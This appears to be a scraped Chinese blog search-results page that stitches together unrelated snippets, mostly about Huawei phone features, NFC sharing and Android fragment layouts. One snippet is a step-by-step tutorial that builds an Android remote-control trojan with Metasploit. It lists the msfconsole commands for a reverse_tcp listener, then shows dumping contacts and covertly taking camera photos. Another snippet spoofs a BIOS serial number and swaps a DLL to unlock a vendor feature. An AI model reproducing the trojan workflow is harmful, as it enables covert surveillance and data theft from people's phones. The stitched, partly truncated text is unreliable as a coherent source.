精华内容
下载资源
问答
  • 1、隐藏应用华为和其他品牌手机最不同的,就是手机主界面上的应用隐藏功能,虽然这个对华为手机用户来说,并不算是最强大的隐藏技巧,无论是谁,只要用手指在手机主页面上,向两侧划开做放大图片的手势,一下子就被...

    华为手机,越来越多的国人在使用的手机大品牌,作为国内知名的手机大厂,华为手机又有哪些隐藏的功能,今天小编就来和大家一起了解一哈,华为手机的隐藏功能。

    1、隐藏应用

    华为和其他品牌手机最不同的,就是手机主界面上的应用隐藏功能,虽然这个对华为手机用户来说,并不算是最强大的隐藏技巧,无论是谁,只要用手指在手机主页面上,向两侧划开做放大图片的手势,一下子就被发现了。

    52c380a6681cf4328e940f977da6c046.png

    然后这时就可以看到隐藏的应用,想要添加什么应用软件的话,只需要点“添加”,然后选择应用就可以了。

    2、短信加密

    华为还可以给我们的手机短信加密,虽然现在微信聊天、QQ聊天横行,但是很多重要的短信沟通,面试通知,扣费讯息,都还是通过短信通知的,所以,华为手机的短信加密功能,让我们的重要短信,不仅不会丢失误删,而且还能保证短信内容的保密。

    打开“信息”→“设置”→“加密短信”,按照提示步骤激活就可以使用了。

    8e053448cb5abcae35dfcced64525951.png

    3、多用户模式

    多用户模式,可能是华为手机最彻底的“隐藏”功能了,它可以让使用我们手机的其他人,看到和我们手机完全不一样的数据,虽然是一只手机,但是手机上的数据却相互之间不互通,所以手机上我们自己原本的数据,可以说是被很好的隐藏了。

    如何添加用户:打开“设置”→“用户”→“添加”,然后只要按照提示设置就可以了。

    b3da8226c4baacf0b6c96ffb7727492e.png

    4、应用锁

    如果嫌我们刚刚说的华为应用隐藏功能太过容易被发现,我们还有应用锁。

    (1)打开“手机管家”,找到“应用锁”

    a19be4a7b55ce7443b2100fa88c3dec9.png

    (2)输入两次密码,确认打开应用使用的密码。

    ed652e47e351b75cb62d31ee7c22e11c.png

    (3)最后打开想要上锁的应用开关,这样,每次锁屏后,要打开应用都要使用密码

    c011646af639667a46d95d9eb54668c0.png

    5、保密柜

    保密柜可以说是华为手机的秘密武器了,无论是照片视频文档还是音频,都可以进行上锁保密。

    操作步骤:“文件管理”→“保密柜”然后按照步骤开启保密柜就可以了。

    73c5d132088a34929f930df1f7cad450.png

    银子的情感号 -四喜鸟 开通了

    想了解更多银子的内心世界

    就来四喜鸟找我吧

    我在四喜鸟,不要错过我

    5dda13badff48c2da24bf41ec104e3e5.png
    展开全文
  • Kali Linux-MSF远控局域网手机

    万次阅读 多人点赞 2020-02-23 21:41:33
    本文目的:演示如何借助Kali Linux系统的Metasploit渗透测试框架生成远程控制木马,然后感染局域网内的Android手机,从而实现对受害者手机数据的读取、音频的窃听、位置的获取、软件安装或卸载等。 环境说明 ...

    前言

    严正声明:本文仅限于技术讨论与分享,严禁用于非法途径。

    本文目的:演示如何借助Kali Linux系统的Metasploit渗透测试框架生成远程控制程序,然后感染局域网内的Android手机,从而实现对目标手机数据的读取、音频的窃听、位置的获取、软件安装或卸载等。

    环境说明

    机器IP地址
    Win10 物理主机192.168.0.105
    Kali 虚拟机192.168.0.199
    honor 8 测试手机192.168.0.107

    Win10主机和手机应连接同一个WIFI,Kali虚拟机安装在VMware中,使用桥接模式使得可配置其IP地址跟物理主机、手机在同一个网段之中,形成一个小局域网。

    关于如何配置虚拟机的IP和网络,请访问另一篇博文:渗透测试-Kali虚拟机

    环境准备

    远控生成

    1、先说点废话,来确认下 Kali 虚拟机配置好的IP地址:
    在这里插入图片描述
    2、在 Kali 终端输入以下命令在 Kali 虚拟机/root路径下生成远控文件520.apk
    在这里插入图片描述

    传输远控

    远控文件已经生成了,但如何从 Kali 虚拟机传输到 Win10 物理主机并进一步传输到受害者手机呢?

    1、使用Xshell远程连接工具,新建如下SFTP协议的文件传输会话:
    在这里插入图片描述

    2、同时配置好与远程 Kali 主机对接的本地文件夹,用于 Win 10 主机传输文件的默认存放路径:
    在这里插入图片描述
    3、输入 kali 主机的账户和密码进行登陆并成功连接后,使用命令get 520.apk从Kali 主机下载远控文件到本地文件夹D:\Code下:
    在这里插入图片描述4、在 Win 10 主机本地文件夹确认下文件是否下载成功:
    在这里插入图片描述

    安装远控

    1、再废话一下,查看并确认华为测试手机的IP地址与 Kali 虚拟机、Win 10主机在同一网段内:
    在这里插入图片描述

    2、在 Kali 虚拟机里查看能否连通手机(这是后续攻击成功的基础):
    在这里插入图片描述
    3、在 Win 10 主机打开QQ程序,向华为手机发送远控文件并安装(这个就不用演示了吧…),安装后如下:
    在这里插入图片描述

    开始测试

    MSF监听

    Kali 终端依次执行以下命令:

    msfconsole                //启动msfconsole
    use exploit/multi/handler //加载模块
    set payload android/meterpreter/reverse_tcp //选择Payload
    set lhost 192.168.0.199  //这里的地址设置成我们刚才生成木马的IP地址
    set lport 9999           //这里的端口设置成刚才我们生成木马所监听的端口
    exploit                  //开始执行漏洞,开始监听,等待手机上线
    

    1、在 Kali 终端输入msfconsole命令启动Metasploit框架:
    在这里插入图片描述
    2、依次以下执行命令加载攻击模块、选择Payload、设置本地监听主机的IP和端口:
    在这里插入图片描述
    3、执行命令exploit,开始执行攻击程序,进入监听状态,等待目标手机上线(用户点击远控程序):
    在这里插入图片描述
    4、此时手动点击刚才手机中安装的MainActivity程序图标(没有界面),则可成功建立攻击会话:
    在这里插入图片描述
    5、此时输入help命令可查看具体的攻击命令和描述,后面将选择几个进行演示:
    在这里插入图片描述

    命令行执行

    成功建立攻击会话后可以对受害者手机进行像Linux主机shell一样对手机进行命令执行操作:
    在这里插入图片描述

    通讯录下载

    1、在攻击会话中执行dump_contacts命令导出受害者手机通讯录里的信息到 Kali 虚拟机/root路径下:
    在这里插入图片描述
    2、在虚拟机中查看一下导出来的通讯录文件:
    在这里插入图片描述

    3、同理可导出受害者手机中的短信记录、通话记录……但是此手机没有插手机卡(穷……),故此处不做演示了。

    摄像机拍摄

    在攻击会话中执行命令webcam_snap ,可开启受害者的摄像头自动拍摄一张照片并保存到Kali 虚拟机中:
    在这里插入图片描述同理还可以非法调用受害者手机的录音功能、屏幕截图功能……

    至此,本次Kali系统生成远控程序后控制局域网内Android手机的演示结束,其他控制操作读者有兴趣的话可自行借助help命令给出的使用命令描述进行体验。

    温馨提醒:此次演示中的远控程序没有图形化界面的伪装,真实的环境中攻击者会将其伪装得跟正常软件一样,这提醒了我们不要轻易安装安全性未知的软件,同时不要轻易连接公共WIFI,让自己的设备暴露在攻击者搭建的局域网下……

    展开全文
  • 傻瓜式操作实现华为手机一碰传 日前,华为李小龙已经官宣,华为将不会限制华为手机与其他品牌的电脑实现一碰传的功能,对于平时爱搞黑科技的我们,是时候享受华为公司带给我们的这份福利了。先提前声明,博的...

    傻瓜式操作实现华为手机一碰传

    华为李小龙官宣

    日前,华为李小龙已经官宣,华为将不会限制华为手机与其他品牌的电脑实现一碰传的功能,对于平时爱搞黑科技的我们,是时候享受华为公司带给我们的这份福利了。先提前声明,博主的电脑为ThinkPad的,手机为荣耀的(华为的一样),通过这个流程可完成一碰传哦。

    当然,为了使用NFC功能,首先需要大家去某宝上买个NFC贴纸,这玩意儿真的很便宜,初次搞的小伙伴可以多买几个。

    到货了之后,大家先来这个(链接:https://pan.baidu.com/s/15xpgxl1-O25okdLEJUMNVg 提取码:n4dn)地方获取一下支撑软件和相关操作流程指导。

    好了,废话不多说了,下面进入傻瓜式流程:

    因为我的电脑是win10系统,点一下搜索框,搜索powershell,选择使用管理员身份运行。

    在Windows powershell交互框中输入wbemtest

    出现了instrumentation测试器,这里连续点击两次右上角的连接按键,会出现如下界面:

    首先点击上图所示的启动所有特权,再点击打开类。

    在提示框中输入类型Win32_BIOS,后点击确定。

    再点击添加属性,在这里属性名称是Seria1Number,数值选择是非NULL, 下方输入5EKPM18320000397。

    一切设置完成后,点击保存属性,后点击保存对象,则会自动退出对象编辑器。再手动退出instrumentation测试器。

    到这里,我们的工作已经完成了百分之八十了。gogogo!!!

    在我提供的文件共享包里有一个华为电脑管家,大家自己默认安装就可以了,安装完成后,需要对Util.dll进行替换,在替换的过程中,系统会提示文件夹已经被占用,这是因为我们的电脑管家已经处于打开状态,这就需要测试我们的手速了。我们首先将文件夹尝试复制,他会提示该文件夹已经被占用,我们先不要关闭这个提示界面,进入到任务管理器,将MateBookService.exe先关闭一下,大约也就只有两秒钟的时间,这个应用就会重启,我们需要在这两秒内点击前面没有关闭的提示界面的重试按键,一次不行就多次尝试,复制完成后,我们就可以完成电脑端的配置了。

    前面所述的各个步骤完成后,还需要查验一下电脑的蓝牙Mac地址,关于查看蓝牙Mac地址的方法有很多,我这里简单的举两个方法吧。

    1. 进入cmd后,输入ipconfig /all,在下面找到以太网连接 蓝牙(或者是Bluetooth)  在这一块有一条信息提示的是物理地址,这就是你的蓝牙地址。
    2. 我的电脑用了上述方法是不行的,可能是系统太高。就提示给大家一个方便的方法吧。首先在搜索框搜索设备管理器,进入后电极蓝牙,选择自己的蓝牙备。点击右键进入属性,上方栏选择高级,即显示出了蓝牙地址。

    将你自己的蓝牙地址手敲下来,放到下面这个代码段中,SN=5EKPM18320000397|MAC=这里写你的蓝牙Mac地址|MODELID=00000505

    然后点击https://cli.im/text进入这个网站,将前面你自己的SN=5EKPM18320000397|MAC=这里写你的蓝牙Mac地址|MODELID=00000505整段文字复制下来,将字符串复制到输入框后生成二维码。

    将我提供的文件夹里面的 华为一碰传助手 v1.0.4.0.apk 安装到你的华为手机上,用这个APP扫一下这个生成的二维码,他会提示你将NFC贴纸放到手机的NFC处,你只需要将他放到手机的指定位置激活就可以了。以后就把这张贴纸贴到你到笔记本上就行。华为电脑管家也要设置成开机启动。

    上面所有步骤完成之后,电脑重启一下,就可以通过NFC贴纸进行一碰传了。

     

     

     

    展开全文
  • 然后再来看一下Android Pad的设置界面主设置页面和声音设置页面都是在一个界面显示的,如下图所示: 如果这分别是两个不同的App做出的效果,那没有丝毫惊奇之处。但如果是同一个App,在手机上和平板上...
    转自: 
    
    

    http://blog.csdn.net/guolin_blog/article/details/8744943

    记得我之前参与开发过一个华为的项目,要求程序可以支持好几种终端设备,其中就包括Android手机和Android Pad。然后为了节省人力,公司无节操地让Android手机和Android Pad都由我们团队开发。当时项目组定的方案是,制作两个版本的App,一个手机版,一个Pad版。由于当时手机版的主体功能已经做的差不多了,所以Pad版基本上就是把手机版的代码完全拷过来,然后再根据平板的特性部分稍作修改就好了。

    但是,从此以后我们就非常苦逼了。每次要添加什么新功能,同样的代码要写两遍。每次要修复任何bug,都要在手机版代码和Pad版代码里各修改一遍。这还不算什么,每到出版本的时候就更离谱了。华为要求每次需要出两个版本,一个华为内网环境的版本,一个客户现场的版本,而现在又分了手机和Pad,也就是每次需要出四个版本。如果在出完版本后自测还出现了问题,就可以直接通宵了。这尤其是苦了我们的X总(由于他dota打的比较好,我都喜欢叫他X神)。他在我们项目组中单独维护一个模块,并且每次打版本都是由他负责,加班的时候我们都能跑,就是他跑不了。这里也是赞扬一下我们X神的敬业精神,如果他看得到的话。

    经历过那么苦逼时期的我也就开始思考,可不可以制作同时兼容手机和平板的App呢?答案当然是肯定的,不过我这个人比较懒,一直也提不起精神去钻研这个问题。直到我一个在美国留学的朋友Gong让我帮她解决她的研究生导师布置的作业(我知道你研究生导师看不懂中文 ^-^),正好涉及到了这一块,也就借此机会研究了一下,现在拿出来跟大家分享。

    我们先来看一下Android手机的设置界面,点击一下Sound,可以跳转到声音设置界面,如下面两张图所示:

               

    然后再来看一下Android Pad的设置界面,主设置页面和声音设置页面都是在一个界面显示的,如下图所示:


    如果这分别是两个不同的App做出的效果,那没有丝毫惊奇之处。但如果是同一个App,在手机上和平板上运行分别有以上两种效果的话,你是不是就已经心动了?我们现在就来模拟实现一下。

    首先你需要对Fragment有一定的了解,如果你还没接触过Fragment,建议可以先阅读 Android Fragment完全解析,关于碎片你所需知道的一切 这篇文章。并且本次的代码是运行在Android 4.0版本上的,如果你的SDK版本还比较低的话,建议可以先升升级了。

    新建一个Android项目,取名叫FragmentDemo。打开或新建MainActivity作为程序的主Activity,里面有如下自动生成的内容:

    public class MainActivity extends Activity {
    
    	@Override
    	public void onCreate(Bundle savedInstanceState) {
    		super.onCreate(savedInstanceState);
    		setContentView(R.layout.activity_main);
    	}
    
    }

    作为一个Android老手,上面的代码实在太小儿科了,每个Activity中都会有这样的代码。不过今天我们的程序可不会这么简单,加载布局这一块还是大有文章的。

    打开或新建res/layout/activity_main.xml作为程序的主布局文件,里面代码如下:

    <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
        xmlns:tools="http://schemas.android.com/tools"
        android:layout_width="fill_parent"
        android:layout_height="fill_parent"
        android:orientation="horizontal"
        tools:context=".MainActivity" >
    
        <fragment
            android:id="@+id/menu_fragment"
            android:name="com.example.fragmentdemo.MenuFragment"
            android:layout_width="fill_parent"
            android:layout_height="fill_parent"
            />
    
    </LinearLayout>

    这个布局引用了一个MenuFragment,我们稍后来进行实现,先来看一下今天的一个重点,我们需要再新建一个activity_main.xml,这个布局文件名和前面的主布局文件名是一样的,但是要放在不同的目录下面。

    在res目录下新建layout-large目录,然后这个目录下创建新的activity_main.xml,加入如下代码:

    <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
        xmlns:tools="http://schemas.android.com/tools"
        android:layout_width="fill_parent"
        android:layout_height="fill_parent"
        android:orientation="horizontal"
        android:baselineAligned="false"
        tools:context=".MainActivity"
        >
    
        <fragment
            android:id="@+id/left_fragment"
            android:name="com.example.fragmentdemo.MenuFragment"
            android:layout_width="0dip"
            android:layout_height="fill_parent"
            android:layout_weight="1"
            />
        
        <FrameLayout 
            android:id="@+id/details_layout"
            android:layout_width="0dip"
            android:layout_height="fill_parent"
            android:layout_weight="3"
            ></FrameLayout>
    
    </LinearLayout>

    这个布局同样也引用了MenuFragment,另外还加入了一个FrameLayout用于显示详细内容。其实也就是分别对应了平板界面上的左侧布局和右侧布局。

    这里用到了动态加载布局的技巧,首先Activity中调用 setContentView(R.layout.activity_main) ,表明当前的Activity想加载activity_main这个布局文件。而Android系统又会根据当前的运行环境判断程序是否运行在大屏幕设备上,如果运行在大屏幕设备上,就加载layout-large目录下的activity_main.xml,否则就默认加载layout目录下的activity_main.xml。

    关于动态加载布局的更多内容,可以阅读 Android官方提供的支持不同屏幕大小的全部方法 这篇文章。

    下面我们来实现久违的MenuFragment,新建一个MenuFragment类继承自Fragment,具体代码如下:

    public class MenuFragment extends Fragment implements OnItemClickListener {
    
    	/**
    	 * 菜单界面中只包含了一个ListView。
    	 */
    	private ListView menuList;
    
    	/**
    	 * ListView的适配器。
    	 */
    	private ArrayAdapter<String> adapter;
    
    	/**
    	 * 用于填充ListView的数据,这里就简单只用了两条数据。
    	 */
    	private String[] menuItems = { "Sound", "Display" };
    
    	/**
    	 * 是否是双页模式。如果一个Activity中包含了两个Fragment,就是双页模式。
    	 */
    	private boolean isTwoPane;
    
    	/**
    	 * 当Activity和Fragment建立关联时,初始化适配器中的数据。
    	 */
    	@Override
    	public void onAttach(Activity activity) {
    		super.onAttach(activity);
    		adapter = new ArrayAdapter<String>(activity, android.R.layout.simple_list_item_1, menuItems);
    	}
    
    	/**
    	 * 加载menu_fragment布局文件,为ListView绑定了适配器,并设置了监听事件。
    	 */
    	@Override
    	public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) {
    		View view = inflater.inflate(R.layout.menu_fragment, container, false);
    		menuList = (ListView) view.findViewById(R.id.menu_list);
    		menuList.setAdapter(adapter);
    		menuList.setOnItemClickListener(this);
    		return view;
    	}
    
    	/**
    	 * 当Activity创建完毕后,尝试获取一下布局文件中是否有details_layout这个元素,如果有说明当前
    	 * 是双页模式,如果没有说明当前是单页模式。
    	 */
    	@Override
    	public void onActivityCreated(Bundle savedInstanceState) {
    		super.onActivityCreated(savedInstanceState);
    		if (getActivity().findViewById(R.id.details_layout) != null) {
    			isTwoPane = true;
    		} else {
    			isTwoPane = false;
    		}
    	}
    
    	/**
    	 * 处理ListView的点击事件,会根据当前是否是双页模式进行判断。如果是双页模式,则会动态添加Fragment。
    	 * 如果不是双页模式,则会打开新的Activity。
    	 */
    	@Override
    	public void onItemClick(AdapterView<?> arg0, View view, int index, long arg3) {
    		if (isTwoPane) {
    			Fragment fragment = null;
    			if (index == 0) {
    				fragment = new SoundFragment();
    			} else if (index == 1) {
    				fragment = new DisplayFragment();
    			}
    			getFragmentManager().beginTransaction().replace(R.id.details_layout, fragment).commit();
    		} else {
    			Intent intent = null;
    			if (index == 0) {
    				intent = new Intent(getActivity(), SoundActivity.class);
    			} else if (index == 1) {
    				intent = new Intent(getActivity(), DisplayActivity.class);
    			}
    			startActivity(intent);
    		}
    	}
    
    }

    这个类的代码并不长,我简单的说明一下。在onCreateView方法中加载了menu_fragment这个布局,这个布局里面包含了一个ListView,然后我们对这个ListView填充了两个简单的数据 "Sound" 和 "Display" 。又在onActivityCreated方法中做了一个判断,如果Activity的布局中包含了details_layout这个元素,那么当前就是双页模式,否则就是单页模式。onItemClick方法则处理了ListView的点击事件,发现如果当前是双页模式,就动态往details_layout中添加Fragment,如果当前是单页模式,就直接打开新的Activity。

    我们把MenuFragment中引用到的其它内容一个个添加进来。新建menu_fragment.xml文件,加入如下代码:

    <?xml version="1.0" encoding="UTF-8"?>
    <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
        android:layout_width="fill_parent"
        android:layout_height="fill_parent" >
        
        <ListView
            android:id="@+id/menu_list"
            android:layout_width="fill_parent"
            android:layout_height="fill_parent"
            ></ListView>
    
    </LinearLayout>

    然后新建SoundFragment,里面内容非常简单:

    public class SoundFragment extends Fragment {
    
    	@Override
    	public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) {
    		View view = inflater.inflate(R.layout.sound_fragment, container, false);
    		return view;
    	}
    
    }

    这里SoundFragment需要用到sound_fragment.xml布局文件,因此这里我们新建这个布局文件,并加入如下代码:

    <?xml version="1.0" encoding="utf-8"?>
    <RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
        android:layout_width="match_parent"
        android:layout_height="match_parent"
        android:background="#00ff00"
        android:orientation="vertical" >
        
        <TextView 
            android:layout_width="wrap_content"
            android:layout_height="wrap_content"
            android:layout_centerInParent="true"
            android:textSize="28sp"
            android:textColor="#000000"
            android:text="This is sound view"
            />
    
    </RelativeLayout>

    同样的道理,我们再新建DisplayFragment和display_fragment.xml布局文件:

    public class DisplayFragment extends Fragment {
    
    	public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) {
    		View view = inflater.inflate(R.layout.display_fragment, container, false);
    		return view;
    	}
    }
    <?xml version="1.0" encoding="utf-8"?>
    <RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
        android:layout_width="match_parent"
        android:layout_height="match_parent"
        android:background="#0000ff"
        android:orientation="vertical" >
        
        <TextView 
            android:layout_width="wrap_content"
            android:layout_height="wrap_content"
            android:layout_centerInParent="true"
            android:textSize="28sp"
            android:textColor="#000000"
            android:text="This is display view"
            />
    
    </RelativeLayout>

    然后新建SoundActivity,代码如下:

    public class SoundActivity extends Activity {
    
    	@Override
    	protected void onCreate(Bundle savedInstanceState) {
    		super.onCreate(savedInstanceState);
    		setContentView(R.layout.sound_activity);
    	}
    
    }

    这个Activity只是加载了一个布局文件,现在我们来实现sound_activity.xml这个布局文件:

    <?xml version="1.0" encoding="utf-8"?>
    <fragment xmlns:android="http://schemas.android.com/apk/res/android"
        android:id="@+id/sound_fragment"
        android:name="com.example.fragmentdemo.SoundFragment"
        android:layout_width="match_parent"
        android:layout_height="match_parent" >
    
    </fragment>

    这个布局文件引用了SoundFragment,这样写的好处就是,以后我们只需要在SoundFragment中修改代码,SoundActivity就会跟着自动改变了,因为它所有的代码都是从SoundFragment中引用过来的。

    好,同样的方法,我们再完成DisplayActivity:

    public class DisplayActivity extends Activity {
    
    	@Override
    	protected void onCreate(Bundle savedInstanceState) {
    		super.onCreate(savedInstanceState);
    		setContentView(R.layout.display_activity);
    	}
    
    }

    然后加入display_activity.xml:

    <?xml version="1.0" encoding="utf-8"?>
    <fragment xmlns:android="http://schemas.android.com/apk/res/android"
        android:id="@+id/display_fragment"
        android:name="com.example.fragmentdemo.DisplayFragment"
        android:layout_width="match_parent"
        android:layout_height="match_parent" >
    
    </fragment>

    现在所有的代码就都已经完成了,我们来看一下效果吧。

    首先将程序运行在手机上,效果图如下:


    分别点击Sound和Display,界面会跳转到声音和显示界面:

               

    然后将程序在平板上运行,点击Sound,效果图如下:


    然后点击Display切换到显示界面,效果图如下:


    这样我们就成功地让程序同时兼容手机和平板了。当然,这只是一个简单的demo,更多复杂的内容需要大家自己去实现了。

    好了,今天的讲解到此结束,有疑问的朋友请在下面留言。

    源码下载,请点击这里

    展开全文
  • 接下来就来向大家分享打破“覆水难收”规律的方法:恢复华为手机中已删除的数据! 不单是华为手机,几乎所有的安卓设备,都可以用此方法进行数据恢复,这方法需要借助一个软件。 一、恢复已删短信 点击【短信...
  • 利用华为手机给台式机提供网络

    千次阅读 2020-06-18 19:21:15
    台式机在使用的时候有很多的优势,但是台式机联网总是被网线束缚,所以利用手机给台式机提供网络,可以很好的解决...选择“更多共享设置” 选择“USB共享网络”,打开 就可以看到界面上的网络连接脸上啦。 ...
  • 倒数日 Day Matter这款应用能够帮你记录生活中的一些重要事情,并在显示在手机上提示你距离设定日期还有多久。主要功能有万年支持、云同步、农历支持、三种分类设定、历史上的今天与明天、日期计算器...
  • 1、mp4分辨率转换首先要做的就是将视频添加到软件中去,可以通过双击迅捷视频转换器主界面空白处或点击“添加视频”按钮进行添加。 2、选择输出视频格式,可以选择将mp4格式转换为任意主流视频格式,可以通过快速...
  • 有遇到手机在恢复出厂设置或者是在升级的时候,长按华为手机开机键,发现手机卡死在华为图标、运营商图片或者是安卓系统图片等界面,无法正常开机的情况吗?试试下面这3招 1. 重启治百病,长按电源键强制重启,...
  • 现在手机越来越方便了,功能也月来越多,下面就给大家分享一下华为手机的几大实用办公技能。...返回手机主界面后,解锁状态下从屏幕的边缘向内华东可以打开速记窗口,输入内容或创建待办事项都可以。2.在电脑上访...
  • 展开全部手机相册2113删除了怎么恢复?手机相机的性能越5261来越好,我们4102使用的频率也就越来越高,手机也1653就堆积很多图片。可能会在不经意间误删了手机中重要的照片,遇到这样的情况我们该怎么恢复误删的手机...
  • 最新版本的华为手机自带的备份工具,开始不再支持备份到手机内部存储功能。这个不再提供当然是为了用户更安全的使用备份功能(由于备份到手机内步存储,手机初始化会后丢失备份文件)。不过却失去了最高效的备份方式...
  • 怎么制作照片视频 手机上制作卡点视频呢?对于卡点视频或照片视频的制作,我们需要对多张图片进行视频的合成。接下来就与大家分享一下有关...3.此时就进入照片视频制作界面,在此可以选中一种场景,同时针对背景音乐...
  • 华为手机为例,我们可以使用华为手机的录音机进行录音转文字,操作方法如下:打开华为手机的录音机功能,接着录制一段音频,录音完成后点击“转文本”,它就能转换成文字。 二、专业的录音转文字工具 当然...
  • 提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 ...4.1.打开手机主界面,点击设置>系统>关于手机>版本号,点击该处7次。 4.3 返回上一级菜单,在系统中,点击开发人员选
  • 学生模式是华为手机在EMUI4.1上新推出的功能,华为P9是第一个配有该功能的手机。 学生模式开启之后对取证有何影响? 1、手机无法打开USB调试模式; 2、取证电脑无法识别手机。 具体问题具体分析,本文我们就...
  • 使用华为手机的朋友都知道华为手机特别实用,手机中的很多小功,不仅能帮助我们学习,还能提高我们的工作效率,就比如我们经常会用到语音转文字方法进行码字,但是你知道吗?华为手机就有两种语音转文字的方法,下面...
  • 软件测试面试题(面试前准备篇)

    万次阅读 多人点赞 2019-09-27 10:42:37
    在做上传视频的测试时,发现华为荣耀V10上传手机自带相机专业模式录制的视频会闪退。而ios上传同个视频提示合成失败。 我将手机自带相机录制的专业模式和普通模式录制的同样时长的视频发到电脑上,用格式工厂软件...
  • 众所周知,华为手机是商务人士最爱的手机品牌之一,其主要原因是因为它有很多的实用小功能,只要用好了这些功能,提高工作效率都是一件很轻松的事情。比如华为手机自带的语音转文字功能,该功能可以帮助你快速实现...
  • 华为手机现在对于安全这块限制的很严格,所以手机连接电脑后,想要通过开发工具查看打印日志做调试很麻烦,在这里做个记录,方便以后使用。1.打开华为手机拨号盘界面,在界面...退出到主界面,然后重启手机,就可...
  • 这种问题一般是因为一个Activity启动之后在显示视图之间时间太长导致的。 1、优化方式可以通过精简layout文件、多线程处理数据载入等。 2、但是有些Activity的...将默认的窗口背景设置为透明色,这样就不会出现黑屏了
  • 文章目录 关闭华为的触摸屏幕 查看自己电脑的主板型号顺便推荐了个全能检测工具 进入华为的bios看看 关闭华为的触摸屏幕 记住!是关闭1啊不是2哦!关闭2之后触摸板没法用了,连光标都没法移动了! 参考链接 HUAWEI ...
  • 随着国产手机产商激烈的竞争,现在如今华为手机可以说是国产手机的领军人物,华为手机的用户也是满大街都是,就算你想换手机,你的朋友第一个推荐的也是华为手机华为手机能这么深得人心的原因主要是手机口碑好,...
  • 明明是想要把手机里拍好的照片新建个相册保存起来,但是不知怎么脑子一抽,把删除给按了……虽然现在有不少手机都有一个【最近删除】的相册功能,可以把最近30天内删除的照片给恢复到手机中来,华为、小米、iPhone都...
  • 罗志祥与周扬青沸沸扬扬的热搜一度让“时间管理”“运动达人”“多部手机”成为了刷屏关键词,随着瓜吃的越来越深,越来越细,其中关于“怕女朋友偷看手机”“华为是渣男专用机”等也一顿成为热梗,华为手机自带的...
  • 在H5手机页面上,用rem单位布局,配合js计算出一个根节点的font-size(原理是屏幕宽度乘以一个固定比例,如1/100),之后页面中所有的px全都换算成了rem单位来写,优点是能适配各种不同屏幕尺寸的手机,不需要写媒体...
  • 近日博在研究如何把博自己的小米手机华为荣耀手机可以在电脑上多屏协同,毕竟作为程序员在使用电脑时一般会在手机、电脑间来回操作,如果可以直接在电脑上操作手机将会极其方便程序员的工作,而Scrcpy电脑无线...
  • 其实应该仔细观察,这种情况分两种,一种是被杀死,一种其实是因为栈的关系,进入了引导页或主界面而不是应用被后台杀死,所以两种情况分别对应如下的两种处理方式: 1.应用被杀死:我们可以打开华为手机中的【手机...
  • 华为鸿蒙系统界面首次曝光,网友纷纷表示支持最近的科技圈被华为禁令的消息刷屏,甚至已经上升到人尽皆知的地步,制裁华为的禁令诱发一连串的连锁效应。大量海外供应商集体宣布断供,而就连和华为合作已久的谷歌公司...
  • 2020年5月数据显示,华为手机在中国大陆智能手机市场中占有率已经超过50%,而宝马车主使用华为手机的比例已经远超苹果。宝马车主都知道,苹果有一个CarPlay功能非常好用,就是将...1.HiCar主界面 它的显示是由手机的A

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 6,026
精华内容 2,410
关键字:

华为手机设置主界面